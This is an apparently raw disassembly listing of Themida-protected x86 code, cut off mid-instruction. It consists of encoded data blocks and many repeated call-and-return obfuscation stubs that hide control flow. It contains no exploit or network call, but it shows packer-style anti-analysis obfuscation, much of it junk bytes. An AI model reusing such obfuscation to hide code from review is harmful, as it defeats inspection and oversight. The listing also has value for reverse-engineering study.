0BFDA23C3h, 68685E42h, 6068EFC2h, 20CD8509h dd 880F060Bh, 2, 0F6615B53h, 840F04C3h, 0ABh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D8C35141h, 8D970B57h dd 95FF7A75h, 60B18EDh, 6E8h, 0A3713E00h, 0F5F757E4h, 0EE8905Eh dd 1B000000h, 66194D1Bh, 3546DE1Ah, 16506D9Ch, 5E8F2h dd 352C0000h, 50319F3Ah, 5A310F52h, 505F5F58h, 52505250h dd 310F6160h, 0DE9h, 0A17D0900h, 321F7C13h, 70799984h dd 585ADCDEh, 77BE310Fh, 5A03FC64h, 6A9058h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B4FE04C3h dd 462A6C97h, 0E1BD31D9h, 0E9060B0Fh, 3A1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 34C35141h, 519F9A88h dd 0B523FA8Bh, 60B2DE5h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 923343C3h, 891242ABh dd 0B06F9BDh, 8170E606h, 3251A7F6h, 0FDD68144h, 0E420357Dh dd 0F8B70F71h, 29D8B60Fh, 0B079185h, 6BA06h, 0FC600000h dd 881858Bh, 8B61060Bh, 4E8C1C3h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0B2C35141h, 0C2A5C05Fh, 5E8E78Ah dd 23000000h, 0E7EF8767h, 8C0F5FF5h, 3, 66FA8B66h, 0B509E2F7h dd 60B283Dh, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 7D596BC3h, 800F12F1h, 0 ; --------------------------------------------------------------------------- push eax mov [esp], ebx push 0 push ecx call sub_57A787 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A787 proc near ; CODE XREF: Themida_:0057A77Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_57A787 endp ; --------------------------------------------------------------------------- stosd jg short loc_57A7CE push edi inc edi mov dh, 0A9h ror dword ptr [ebx+0B02F9BDh], 1 push es push dword ptr [ebp+60B3385h] push 0 push eax call sub_57A7B6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A7B6 proc near ; CODE XREF: Themida_:0057A7AEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_57A7B6 endp ; --------------------------------------------------------------------------- mov dl, 8Bh xor [esi-76C05BCCh], ebx loc_57A7CE: ; CODE XREF: Themida_:0057A798j xchg eax, ebp pop ebp or al, 0Bh push es call dword ptr [ebp+60B32DDh] push 0 push esi call sub_57A7E4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A7E4 proc near ; CODE XREF: Themida_:0057A7DCp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_57A7E4 endp ; --------------------------------------------------------------------------- dd 0ABC89AB3h, 816600B0h, 314249D6h, 0B0609B5h, 0E470E606h dd 0F613C71h, 22083h, 880F5700h, 0 ; --------------------------------------------------------------------------- pop esi movzx ebx, al push 0 push ebp call sub_57A827 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A827 proc near ; CODE XREF: Themida_:0057A81Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_57A827 endp ; --------------------------------------------------------------------------- sbb al, 8Bh mov ebp, 60B1645h mov edx, 6 jmp loc_57A855 ; --------------------------------------------------------------------------- and ebp, [edi] pop ebp dec ebx sbb byte ptr [ecx-7Ah], 55h mov [edx], eax push ecx retf ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- loc_57A855: ; CODE XREF: Themida_:0057A843j mov eax, ebx cld and edi, [ebp+60B15E9h] shr eax, 4 push 0 push esi call sub_57A86C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A86C proc near ; CODE XREF: Themida_:0057A864p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_57A86C endp ; --------------------------------------------------------------------------- db 66h, 66h mov esi, 85891906h popa sub [ebx], cl push es mul dx push 0 push edi call sub_57A895 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A895 proc near ; CODE XREF: Themida_:0057A88Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_57A895 endp ; --------------------------------------------------------------------------- db 62h, 1, 84h ; --------------------------------------------------------------------------- cmpsb mov di, cx mov edi, [ebp+60B2929h] sub ebx, eax push 0 push eax call sub_57A8BF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A8BF proc near ; CODE XREF: Themida_:0057A8B7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_57A8BF endp ; --------------------------------------------------------------------------- adc al, 6Ah xor esi, 2CD32D1Fh pop eax push 0 push ebx call sub_57A8E3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A8E3 proc near ; CODE XREF: Themida_:0057A8DBp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_57A8E3 endp ; --------------------------------------------------------------------------- aad 4 js short loc_57A95D mov edi, edx mov [ebp+60B2B21h], edx sub ebx, eax js loc_57AA31 mov di, cx mov ecx, 7 add edi, 289544B5h add ecx, 0 stc cmp ebx, ecx jbe loc_57AA31 mov di, si mov cx, ds cld test cl, 4 jz loc_57AA12 push 0 push edi call sub_57A93C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A93C proc near ; CODE XREF: Themida_:0057A934p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_57A93C endp ; --------------------------------------------------------------------------- dd 0FDF30719h, 665EBDA5h, 8BC775BFh, 0B17BDB5h ; --------------------------------------------------------------------------- push es loc_57A95D: ; CODE XREF: Themida_:0057A8F5j call dword ptr [ebp+60B18EDh] push 0 push esi call sub_57A96E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A96E proc near ; CODE XREF: Themida_:0057A966p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_57A96E endp ; --------------------------------------------------------------------------- dw 0F9E6h ; --------------------------------------------------------------------------- and cl, dh pop edi mov edi, [ebp+60B2DF5h] pop ebx jle loc_57A9A9 jmp loc_57A9A9 ; --------------------------------------------------------------------------- db 0D3h, 38h, 32h dd 6DF2A97h, 1140ADDDh, 72DD1DD0h, 0E3731B51h ; --------------------------------------------------------------------------- pop es loc_57A9A9: ; CODE XREF: Themida_:0057A98Aj ; Themida_:0057A990j sub eax, ebx push 0 push ebp call sub_57A9B6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A9B6 proc near ; CODE XREF: Themida_:0057A9AEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_57A9B6 endp ; --------------------------------------------------------------------------- dw 0E9BAh dd 9, 4955C601h, 1374F2A9h, 29BD8BC1h, 3D060B19h, 834h dd 2C860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0A44408C3h, 0E90BB18Fh, 25h, 1E9DBD8Bh ; --------------------------------------------------------------------------- or eax, [esi] loc_57AA12: ; CODE XREF: Themida_:0057A92Bj mov eax, eax push 0 push eax call sub_57AA1F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57AA1F proc near ; CODE XREF: Themida_:0057AA17p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_57AA1F endp ; --------------------------------------------------------------------------- sbb al, ch loc_57AA31: ; CODE XREF: Themida_:0057A901j ; Themida_:0057A91Bj mov eax, ebx mov ebx, eax push 0 push edx call sub_57AA40 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57AA40 proc near ; CODE XREF: Themida_:0057AA38p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_57AA40 endp ; --------------------------------------------------------------------------- dd 1ECB3244h, 0C7FB8B18h, 0B1A9D85h, 74AF3506h, 51006A34h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 1E1A263Eh, 41EF1119h, 29C08B30h, 0B214D9Dh, 85BD8106h dd 0D0060B33h, 0F000007h, 4C85h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 33D6FD6Ah dd 0B00E1B5h, 8585FF06h, 6A060B33h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 3357C355h dd 0B015DBDh, 85B5FF06h, 8B060B33h, 0B0E9DB5h, 0DD95FF06h dd 6A060B32h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 7059C353h, 7D8589FEh, 52060B0Bh dd 905FFA8Bh, 20619D29h, 0BD8B060Bh, 60B03F1h, 3FD8589h dd 8BF5060Bh, 0B069DB5h, 0FE8F906h, 0CF000000h, 0F7FCEAFCh dd 1C3C3B21h, 0C95FB17Bh, 0B531C6ECh, 60B1B29h, 5FFBBF0Fh dd 0AACE8166h, 0D8589BDh, 0F9060B08h, 3C62BF66h, 2005B589h dd 8B66060Bh, 4D8D89F1h, 6A060B1Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6CD5C357h dd 0DE860h, 54C10000h, 66265235h, 1BC3A259h, 89BECC55h dd 0B01D995h, 0D8BF5E06h, 8B6FBAE2h, 0B2729BDh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0D98501A1h, 66060B07h, 0E5BFF28Bh, 0F17BF59h, 148Bh dd 0E840F00h, 0E9000000h, 9, 0AB8536F8h, 1348FBEFh, 0BE955h dd 2CB0000h, 0E52C900Bh, 2BC3F21Eh, 51006A8Fh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0F5B82A86h dd 0FD8F588h, 58Ah, 0D6816600h, 0EE85B26h, 0D7000000h dd 0C4ED71A0h, 87906C25h, 9B5E077Eh, 0F1BF0F94h, 0F7BAE95Eh dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 8BAC15C3h, 95893A5Bh, 60B2979h, 8950C18Bh dd 0B2F1185h, 4EB5E06h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_57AC9B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57AC9B proc near ; CODE XREF: Themida_:0057AC93p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_57AC9B endp ; --------------------------------------------------------------------------- db 62h dd 915A3A2Eh, 7335D7D4h, 0E2D68166h, 0E59D31BFh, 8D060B29h dd 0B28A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 1980141Fh, 0BF669053h, 60504A72h dd 9061F6B5h, 0A2CDBE66h, 8589006Ah, 60B1FD1h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 1862C4C3h, 0DC0FB0BFh, 0F18BF496h, 0EDBB858Dh, 6A060Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0D701EC3h, 0ADB58977h, 83060B06h, 0E95005C0h, 10h, 0FDD21441h dd 7824B00Eh, 0CC971444h, 85374640h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 726AC352h, 0BE661888h, 6A5784h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0E1C35040h, 7497ECA8h, 0C0F6026h dd 0A870F67h, 0E9000000h, 5, 3610FE48h, 6A006A6Dh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 28F7C350h, 2A34D4C0h, 95FF405Eh, 60B2F21h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 84C35242h, 0B09D8D0Ch dd 6A060EA7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 8B3DC351h, 0B0349BDh, 6AD3FF06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 2FDC352h, 6D85FF3Dh, 66060B06h, 0E9C9C7BFh dd 765h, 0E8h, 0ED815D00h, 60EEDC5h, 11E9h, 0DBE79000h dd 0AB99B6F7h, 50EEB2C3h, 1E249E21h, 0BD8140E3h, 60B3385h dd 7D0h, 1BD860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 6A5761C3h, 9E47AF76h dd 0EAF68166h, 0F28B6602h, 649DE681h, 9D8B164Ah, 60B00A1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3DC35545h dd 0E3819515h, 100h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 34C35343h, 6C13D118h, 266DC286h, 850FDB0Bh dd 0F9h, 0EF816653h, 835E6893h, 0EEBE8BDh, 840F0006h, 7Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F9C35141h dd 9FFA071Ah, 19F58D89h, 8C0F060Bh, 24h, 5E8h, 0AAB2A700h dd 13E8E5FBh, 40000000h, 30216A68h, 0BEE45C0Fh, 0CD9D29BDh dd 3E6BDD0Ch, 5F5F0EABh, 0A0E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0DC4FA80Ah dd 65B58BD6h, 0C7060B0Ch, 0EEBE885h, 106h, 0EE900h, 0D5210000h dd 0D88ACDDBh, 21D11621h, 6C32374Dh, 66F58060h, 61C2BF0Fh dd 50E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 714B465h, 8A0F2204h, 19h, 14E9h dd 6BF7E00h, 0AAD3A1BDh, 8DBAF552h, 0D97379DAh, 73C20427h dd 0E885C778h, 60EEBh, 89000000h, 0B035DBDh, 0A19D8D06h dd 9060B00h, 0B03F9B5h, 5E806h, 0ECB60000h, 89520805h dd 0B208185h, 23815E06h, 0FFFFFEFFh, 0D3BF0F60h, 13ED8D8Bh dd 6661060Bh, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 66D900C3h, 1232F55Ah, 4C3F645h dd 55840Fh, 0CE810000h, 54138C1Eh, 18ED95FFh, 90F9060Bh dd 198D0Fh, 8B600000h, 10E9F1h, 42F00000h, 335730D9h, 945C1F86h dd 49912999h, 5061B60Dh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 87CEE46Ch, 13BF7C5Ch dd 0E94B7023h, 31Dh, 0B0F08B66h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0B1E781ABh dd 0E669DE7Ch, 45BF6670h, 71E4F829h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 54C35040h, 15D734FFh, 10AB2C7h dd 0B2ED585h, 0D8B60F06h, 6BAF8h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B9E41C3h dd 0BDB523C3h, 0C1060B0Bh, 6A04E8h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 58689C3h dd 66D7710Ah, 0B360E2F7h, 0D82B61B2h, 2D89B58Bh, 8166060Bh dd 50BBEDE7h, 6A241C89h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 4D73C357h, 9D89DA61h dd 60B21E9h, 3385B5FFh, 95FF060Bh, 60B32DDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h, 0EC9613Ah dd 0B0BCF584h, 15800F00h, 0E9000000h, 10h, 83A2994Fh, 1BE59302h dd 0DB4997A7h, 0EF00C301h, 71E470E6h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0C8C35242h, 6917AE88h, 3CA5AC8Fh dd 0BA830F61h, 0F000001h, 0B60FFBB7h, 860FD8h, 0BA000000h dd 6, 10E9h, 10A07000h, 5A4312F8h, 24B68820h, 0BD530936h dd 6AC38B2Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 6E04C357h, 6604E8C1h, 6AE2F7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0D2AA53C3h, 0A095BFA3h, 0FB8B7D8Fh, 6AD82Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 6A5883C3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0CC48C352h, 4C5AD703h, 2B60DDEBh dd 0FE880FD8h, 0E9000000h, 5, 0A32E1D13h, 7B9BBh, 9D890000h dd 60B0161h, 8900C183h, 0B0B759Dh, 0FD93B06h, 0D886h, 0F7BF0F00h dd 8BD98C66h, 4C1F6F3h, 8E840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 10DEDCC3h dd 10B9956h, 0F9C1293h, 95FFF3B7h, 60B18EDh, 1619B58Bh dd 0BE5B060Bh, 45DD506Bh, 0B70FC32Bh, 8343DFFh, 860F0000h dd 44h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 20C35040h, 8B80902Fh, 0B07D9BDh, 9E906h, 5EFA0000h dd 9068D610h, 0E901F5A3h, 45h, 6860Fh, 0BD8B0000h, 60B05F1h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 8634D0C3h, 1FD1BD8Bh, 0EE9060Bh, 0F5000000h dd 20E41E7Fh, 0A0122F32h, 1EBBDC62h, 8BC38B48h, 4CBE66D8h dd 8585C705h, 0D7060B29h, 6A7054E3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B1AC353h dd 0F9BF0FC0h, 3385BD81h, 7D0060Bh, 850F0000h, 59h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 95C35646h, 884E0CC8h dd 0FF072864h, 0B338585h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B66CB44h dd 0BE9F8h, 0E45F0000h, 9624793h, 8029B6C7h, 85B5FF24h dd 60060B33h, 3AC81B9h, 0D5858B3Fh, 61060B13h, 5344BE66h dd 32DD95FFh, 0DE81060Bh, 239D0EE5h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 8C34A6B2h dd 5D0F17A4h, 0BD0BCCEBh, 60B1B25h, 0EE9h, 0ECA69A00h dd 1F61F8D5h, 0EA416981h, 8B2A278Fh, 0B23F5B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 854C9C5Eh, 0BF2E9899h, 0F58EA52h, 0B58BFB8Bh, 60B29C1h dd 8E9FA8Bh, 0D3000000h, 258EBADCh, 31B8295Eh, 0B059595h dd 0A19D8906h, 0E8060B07h, 0Bh, 0A6CCFDD8h, 9C77383Eh dd 0F9ED717h, 895EF8BFh, 0B09159Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 19834F15h dd 12E9490Ch, 0A6000000h, 0A909BC5Dh, 0C0776CB2h, 8BFE04Dh dd 7A84256Ch, 0FDB5038Fh, 8B060B1Fh, 52006AFEh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0A1E9ED9Bh dd 1FFFFF8h, 0B0E9DB5h, 66C18B06h, 0EBC61DBEh, 4, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 6CE2D339h, 0DCE2A3C7h, 8B66E93Bh, 53006AFBh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66E72C2Ah dd 0A51AF781h, 38D0Fh, 0B70F0000h, 68BF66F3h, 0A9858D56h dd 0F060B28h, 198Eh, 14E900h, 35F50000h, 2025D009h, 780F8C6Dh dd 9BF55D09h, 0CB9D87C5h, 66501C93h, 489F88Bh, 3DBD0324h dd 6A060B06h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 8DB13963h, 0F5703DFh, 68Eh, 0D9BD8B00h dd 5F060B15h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 3977ABC3h, 0DB0D0C1Dh, 0D68166C5h dd 858D350Ch, 60EF737h, 3870Fh, 0BF0F0000h, 5C083FBh, 13E8h dd 23985400h, 0E9D5DFCFh, 614CD86Fh, 0D357D0EBh, 594E5F00h dd 5250905Fh, 7D1BBF66h, 0CE8310Fh, 0AB000000h, 15EEF1A1h dd 36FF46B8h, 0E8BB6F42h, 5, 0BF467806h, 5A5F5F1Eh, 66535058h dd 905EF18Bh, 7E8h, 8634D000h, 32EE44DAh, 5EFE8B66h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0A0B303C3h, 6A006AF9h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 3252C355h, 0BF665B79h dd 95FFFB53h, 60B2F21h, 2149BD8Bh, 9D8D060Bh, 60EA7B0h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 30C35646h dd 0D6C7E93Dh, 0FF0E7F65h, 12E9D3h, 0C3DF0000h, 195B8046h dd 4621E8B4h, 8F149CC6h, 4D34EDA1h, 66D85FFh, 6A060Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0E90EE7C3h, 7A2h, 0E8h, 0ED815D00h, 60EF741h, 81CF8B60h dd 0D60809DFh, 0BD816108h, 60B3385h, 7D0h, 162860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 6F01C3h, 0BB1D4EDBh, 0DE879h, 2B930000h, 0EA5AADBFh dd 1B2736CAh, 0F3203F9h, 8B5FFBBFh, 0B13E99Dh, 0E381FC06h dd 100h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 3BC35141h, 0F98B66D4h, 0BF1B70Fh, 83850FDBh, 83000000h dd 0EF52DBDh, 840F0006h, 21h, 12E9h, 12B68E00h, 0CF60E681h dd 60BAD6D2h, 95032A53h, 0E93DD78Ch, 8Ch, 81A0EDBEh, 2D85C72Dh dd 1060EF5h, 2B000000h, 0B30E5B5h, 72E906h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0E9D40DC3h, 0Ah, 0B0505797h, 89357576h, 0FE94422h, 70000000h dd 3BDA1789h, 0B009D5FFh, 0C5AA3CE9h, 85C7D5B0h, 60EF52Dh dd 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_57B90F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B90F proc near ; CODE XREF: Themida_:0057B907p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_57B90F endp ; --------------------------------------------------------------------------- popf sahf dec eax mov esp, 8B6CBA4Ah mov ebp, 60B1221h lea ebx, [ebp+60B13E9h] push 0 push eax call sub_57B93D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B93D proc near ; CODE XREF: Themida_:0057B935p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_57B93D endp ; --------------------------------------------------------------------------- db 77h, 8Ah, 9Ah ; --------------------------------------------------------------------------- mov esi, [ebp+60B1A35h] and dword ptr [ebx], 0FFFFFEFFh mov esi, [ebp+60B0C71h] mov [ebp+60B01E9h], ecx mov bx, ds mov esi, ebx test bl, 4 jz loc_57B9AF jl loc_57B981 add si, 0EC4Dh loc_57B981: ; CODE XREF: Themida_:0057B976j call dword ptr [ebp+60B18EDh] push eax mov edi, 505C0F2Fh mov [esp], eax push 0 push edi call sub_57B99B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B99B proc near ; CODE XREF: Themida_:0057B993p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_57B99B endp ; --------------------------------------------------------------------------- db 58h db 3Dh, 1, 0CDh ; --------------------------------------------------------------------------- loc_57B9AF: ; CODE XREF: Themida_:0057B970j jmp loc_57BDB5 ; --------------------------------------------------------------------------- mov [ebp+60B0139h], ecx or edi, 20E60DC0h mov al, 0 push 0 push eax call sub_57B9CD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B9CD proc near ; CODE XREF: Themida_:0057B9C5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_57B9CD endp ; --------------------------------------------------------------------------- db 16h, 0C5h, 66h ; --------------------------------------------------------------------------- mov edi, 70E64E44h push 0 push edx call sub_57B9F0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B9F0 proc near ; CODE XREF: Themida_:0057B9E8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_57B9F0 endp ; --------------------------------------------------------------------------- retf 0E47Ch ; --------------------------------------------------------------------------- db 0DEh dd 0A395E868h, 0D59589E8h, 0E4060B12h, 0FF28B71h, 0ABBED8B6h dd 0BA0D7324h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 8EC35141h, 8B2D3394h, 0B0415B5h, 0C1C38B06h, 6A04E8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0F7D04BC3h, 54C0A895h, 0F766F9FAh, 0FA8BF9E2h, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8D2951C3h, 60B0841h, 241C8950h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 5DC35646h, 4C35F612h, 3385B5FFh dd 0BD89060Bh, 60B24B5h, 32DD95FFh, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4D77EFC3h dd 0ADE6A43Dh, 419589DBh, 0B0060B13h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 32128186h, 15E98529h, 9529060Bh, 60B103Dh, 6A70E6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 2FCFF3C3h, 3008C349h, 81B654ACh, 933100CFh, 8DB58915h dd 0E4060B03h, 0DD853171h, 3C060B02h, 4E830F61h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 89EBC351h, 0B00D5B5h, 0D8B60F06h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0DFC35141h, 85295702h dd 60B063Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0B6E6AFAFh, 8BCC923Ah dd 4DB58BC3h, 89060B0Ch, 0B1595B5h, 4E8C106h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B6C35545h, 0BE66938Ah dd 0F7666556h, 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 2B933F8Fh, 7D9D89D8h dd 58060B17h, 880FD82Bh, 179h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 29C35242h, 811DEE89h, 930F52E7h dd 1D958938h, 0B9060B33h, 7, 0FE9h, 279CA700h, 48CE9F91h dd 7AD3F14Ch, 421FCCE4h, 0BE00C183h, 4A45218Ch, 860FD93Bh dd 125h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0E7C35040h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 274DC351h, 0EBD57178h dd 8A0FF084h, 0Ch, 68D0Fh, 880F0000h, 0 ; --------------------------------------------------------------------------- test cl, 4 jz loc_57BDA7 and edi, [ebp+60B2881h] call dword ptr [ebp+60B18EDh] mov [ebp+60B0C19h], ebx pop ebx push 0 push ebp call sub_57BD0B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BD0B proc near ; CODE XREF: Themida_:0057BD03p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc 